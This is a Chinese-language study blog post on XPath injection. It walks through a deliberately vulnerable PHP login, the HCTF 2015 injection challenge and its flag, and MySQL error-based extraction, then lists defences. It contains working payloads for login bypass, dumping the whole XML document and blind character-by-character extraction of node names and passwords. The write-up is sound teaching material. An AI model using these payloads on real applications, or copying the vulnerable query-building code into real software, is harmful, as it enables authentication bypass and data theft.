XPATH注入

前言

在网上看到了一个XPATH注入,发现自己确实有的地方没见过。。就拿来学习了一下
链接:

https://xz.aliyun.com/t/7791#toc-3

https://www.cnblogs.com/backlion/p/8554749.html#top

XPATH

XPath 即为 XML 路径语言,是 W3C XSLT 标准的主要元素,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。

XPath 基于 XML 的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力,可用来在 XML 文档中对元素和属性进行遍历。

XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
具体学习:

https://www.w3school.com.cn/xpath/index.asp

XPATH注入概念

XPath注入攻击,是指利用XPath?解析器的松散输入和容错特性,能够在?URL、表单或其它信息上附带恶意的XPath?查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知 识的情况下,通过XPath查询得到一个XML文档的完整内容。Xpath注入攻击本质上和SQL注入攻击是类似的,都是输入一些恶意的查询等代码字符串,从而对网站进行攻击。

XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

XPATH注入原理

 xpath注入的原理其实和sql注入很像,?XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web?应用程序,通过执行XPath查询而执行入侵者想要的操作,但是,注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取?XML?数据的组织结构,或者访问在正常情况下不允许访问的数据,如果?XML?数据被用于用户认证,那么攻击者就可以提升他的权限。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML?中没有访问控制或者用户认证,如果用户有权限使用?XPath?查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个?XML?文档。 注入出现的位置也就是cookie,headers,request parameters/input等。

XPATH语法

不再赘述。参考链接自主学习

https://www.w3school.com.cn/xpath/index.asp

代码实例

登录绕过

在看下面的例子中我们始终要记得xpath注入和sql注入不是一个东西。
某些情况下他们确实可以使用相同的语句来达到相同的效果,但在某些情况下只能使用xpath特有的注入手段。
先看第一个例子:

login.php:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists(‘test.xml‘)){
$xml=simplexml_load_file(‘test.xml‘);
if($_POST[‘submit‘]){
$username=$_POST[‘username‘];
$password=$_POST[‘password‘];
$x_query="/accounts/user[username=‘{$username}‘ and password=‘{$password}‘]";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo ‘登录失败‘;
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email></email>
<accounttype>administrator</accounttype>
<password></password>
</user>
<user id="2">
<username>test</username>
<email></email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>

这里,test为普通账户,Twe1ve为管理账户
这里没啥好说的,看代码没有任何过滤,我们试一下万能密码:
XPATH注入

在原链接中:

https://xz.aliyun.com/t/7791#toc-5
作者说到:

这意味着知道任意用户名即可以该用户身份登录,在已知用户账户名的情况下实现任意用户登录。假若管理员用户未知,如我这里设置的比较奇葩的管理用户名,还可以实现以管理员身份登录吗?我们知道一般数据库中默认第一个用户为管理用户。所以这里类似SQLi 的万能密码,使用如下paylaod实现在管理账户未知的情况下管理员登录:

x‘ or 1=1 or ‘‘=‘

事实上我认为作者想表达的是查询id=1的用户,因为数据库中默认第一个用户为管理用户
所以paylaod:

1‘ or 1=1 or ‘‘=‘

成功登陆。这里我们可以看到和sql注入的万能密码类似,or能用,但并不是所有情况都是这样。
我们再来看一个例子:
题目:
hctf2015 的injection

index.php:

<?php
if(file_exists(‘t3stt3st.xml‘)) {
$xml = simplexml_load_file(‘t3stt3st.xml‘);
$user=$_GET[‘user‘];
$query="user/username[@name=‘".$user."‘]";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.":  " . $x_value;
echo "<br />";
}
}
?>

t3stt3st.xml:

<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name=‘user1‘>user1</username>
<key>KEY:1</key>
<username name=‘user2‘>user2</username>
<key>KEY:2</key>
<username name=‘user3‘>user3</username>
<key>KEY:3</key>
<username name=‘user4‘>user4</username>
<key>KEY:4</key>
<username name=‘user5‘>user5</username>
<key>KEY:5</key>
<username name=‘user6‘>user6</username>
<key>KEY:6</key>
<username name=‘user7‘>user7</username>
<key>KEY:7</key>
<username name=‘user8‘>user8</username>
<key>KEY:8</key>
<username name=‘user9‘>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name=‘hctf1‘>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>

这里不明白为什么我本地没有回显--借用一下图:
XPATH注入

利用我们上一个题目的想法,构造一个万能密码看看:
XPATH注入

可以看到用?user1’ or ‘’=’这样爆出所有user查询结果,并不能找到flag
只能拿出xpath特有的注入手段(这也是和sql注入最大的区分)直接看exp:

index.php?user=user1‘] | //* | //*[‘

这个payload类似于sqli的‘or ‘1‘=‘1

ps://* 选取文档中的所有元素

所以该paylaod用于访问xml文档的所有节点

XPath盲注

首先先说明这里一定和mysql盲注区分开:
mysql盲注利用的是xpath语法错误:
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

mysql> select extractvalue(1,‘/a/b‘);
+------------------------+
| extractvalue(1,‘/a/b‘) |
+------------------------+
|                        |
+------------------------+
1 row in set (0.01 sec)

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: ‘~5.7.17~‘
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: ‘~5.7.17~‘

说回我们的重点:
mysql盲注利用的是xpath语法错误,而xpath则是对节点元素属性进行遍历猜解:
XPath盲注主要利用XPath的一些字符串操作函数和运算符.
XPATH注入

如果我们想遍历出整个XML文档,一般步骤如下:

Xpath盲注步骤:

判断根节点下的节点数
判断根节点下节点长度&名称
.....
重复猜解完所有节点,获取最后的值

1.判断根下节点数:

127.0.0.1/xpath/index.php?name=1‘ or count(/*)=1 or ‘1‘=‘1&pwd=fake

result: 1

1.2判断根节点下的节点长度

‘or string-length(name(/*[1]))=4 or ‘‘=‘

result: 4

2.猜解第一级节点名称:

127.0.0.1/xpath/index.php?name=1‘ or substring(name(/*[position()=1]),1,1)=‘r‘ or ‘1‘=‘1&pwd=fake

127.0.0.1/xpath/index.php?name=1‘ or substring(name(/*[position()=1]),2,1)=‘o‘ or ‘1‘=‘1&pwd=fake

...

result: root

3.判断root的下一级节点数:

127.0.0.1/xpath/index.php?name=1‘ or count(/root/*)=2 or ‘1‘=‘1&pwd=fake

result: 2
3.2猜解第一个root节点的子节点长度

‘or string-length(name(/root/*[position()=1]/*[1]))=5 or ‘‘=‘:

result: 第一个root节点的子节点长度为5
4.猜解root的下一级节点:

127.0.0.1/xpath/index.php?name=1‘ or substring(name(/root/*[position()=1]),1,1)=‘u‘ or ‘1‘=‘1&pwd=fake

127.0.0.1/xpath/index.php?name=1‘ or substring(name(/root/*[position()=2]),1,1)=‘s‘ or ‘1‘=‘1&pwd=fake

result: users,secret

重复上述步骤,直到猜解出所有节点.最后来猜解节点中的数据或属性值.

猜解id为1的user节点下的username值,

127.0.0.1/xpath/index.php?name=1‘ or substring(/root/users/user[id=1]/username,1,1)=‘a‘ or ‘1‘=‘1&pwd=fake

...

result: admin

我们来看一个例子:

<addressBooke>
  <address>
   <name>Tom</name>
   <password>abcdefg</password>
   <age>20</age>
   <phone>13000000000</phone>
 </address>
 <address>
   <name>Bob</name>
   <password>abcdefg</password>
   <age>30</age>
   <phone>13000000001</phone>
 </address>
 <address>
   <name>Jack</name>
   <password>abcdefg</password>
   <age>40</age>
   <phone>13000000002</phone>
 </address>

原理类似SQL注入,构建新的查询逻辑来进行攻击,但是要注意,关键词像函数这种的区分大小写
1.构建新的逻辑实现注入

or 1=1
and 1=2
‘or ‘a‘=‘a
‘and ‘a‘=‘b

一个字节一个字节的提取出信息:

‘or //address[name/text()=‘Tom‘ and substring(password/text(),1,1))] =‘a‘ and ‘a‘=‘a

返回正常则判断正确
等同于下面的查询:

//address[name/text()=‘‘ or //address[name/text()=‘Tom‘ and substring(password/text(),1,1))] =‘a‘ ]and ‘a‘=‘a]/phone/text()

通过查询名字的输入 却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码
2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
相当于SQL盲注(大家都对语句嫩熟于心,不多提了)
首先提取父节点的名字:

‘or substring(name(parent::*[position()=1]),1,1)=‘a  正常
‘or substring(name(parent::*[position()=1]),2,1)=‘d  正常
........

父节点名字为address 是元素节点
提取子节点名字

‘or substring(//address[1]/*[2],1,1)=‘p‘ or ‘a‘=‘a 正常
‘or substring(//address[1]/*[2],2,1)=‘a‘ or ‘a‘=‘a 正常
........

二号子节点名称为password
提取子节点的值:
基于原理://address[1]/*[2]/text() -> tom的password 但是这个不会输出
我们通过布尔型来查询XML所有的内容

‘or substring(//address[1]/*[2]/text(),1,1)=‘a‘ or‘a‘=‘a 正常
‘or substring(//address[1]/*[2]/text(),1,1)=‘b‘ or‘a‘=‘a 正常
......

第二个子节点值为abcdefg

测试步骤:
提交这些看能否使得状态改变 (count返回子节点数量)

‘ or count(parent::*[position()=1])=0 or ‘a‘=‘b 状态1
‘ or count(aprent::*[position()=1])>0 or ‘a‘=‘b 状态改变

数字型参数:

1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])=0 状态改变

确定了存在注入点,用上面的方法注入就可以了!

XPath注入攻击特点以及和普通注入的区别

XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面具有优势。

(1) 广泛性。XPath注入攻击利用的是XPath语法,由于XPath是一种标准语言,因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞,所以可能在所有的XPath实现中都包含有该弱点,这和SQL注入攻击有 很大区别。在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。

(2) 危害性大。XPath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。但在SQL注入攻击中,一个“用户”的权限可能被限制到 某一特定的表、列或者查询,而XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击。

XPATH危害

1.在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据;

2.可通过此类漏洞查询获取到系统内部完整的XML文档内容。

3.逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。

4.xpath的具体危害:
1:绕过验证
参见上面第一个代码示例我们可以使用万能密码绕过。

2.信息泄露

大多数情况下,当服务器返回数据时,都会对这些数据做一些处理。比如如果服务器返回一些错误信息,那么最终会被过滤掉,不会出现在用户的页面里。将尽可能少的信息暴露给用户,将可以提高安全性。但是即使错误信息被过滤掉,我们依然可以从服务器给出的不同返回结果推测出服务器做出了何种响应。作为攻击者可以提交一段包含?XPath?函数的?Payload,通过服务器给出的不同响应,判断得到我们想知道的信息。这就是?XPath?盲注。
参见上文盲注,可猜解出管理员账号密码。
我们可以遍历整个?xml?文档。这也是?xml和其他数据库相比最大的威胁所在了,因为它没有访问控制和身份验证。

XPATH防御

1:数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。

2: 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串,如过滤[] ‘ “ and or 等全部过滤,像单双引号这类,可以对这类特殊字符进行编码转换或替换

3: 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息或者用统一的报错页面代替(如updataxml()这类)
4:参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。。如下代码可以通过创建保存查询的外部文件使查询参数化:

declare variable $loginID as xs:string external;

declare variable $password as xs:string external;

//users/user[@loginID=$loginID = $password]

5:通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。5.????验证是否包含特定的?XPath?函数,可以过滤掉一些?XPath?函数,以提高安全性,当然了不能以牺牲用户体验或影响用户正常使用为前提。

总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量

参考

https://xz.aliyun.com/t/7791#toc-6

https://www.cnblogs.com/backlion/p/8554749.html#top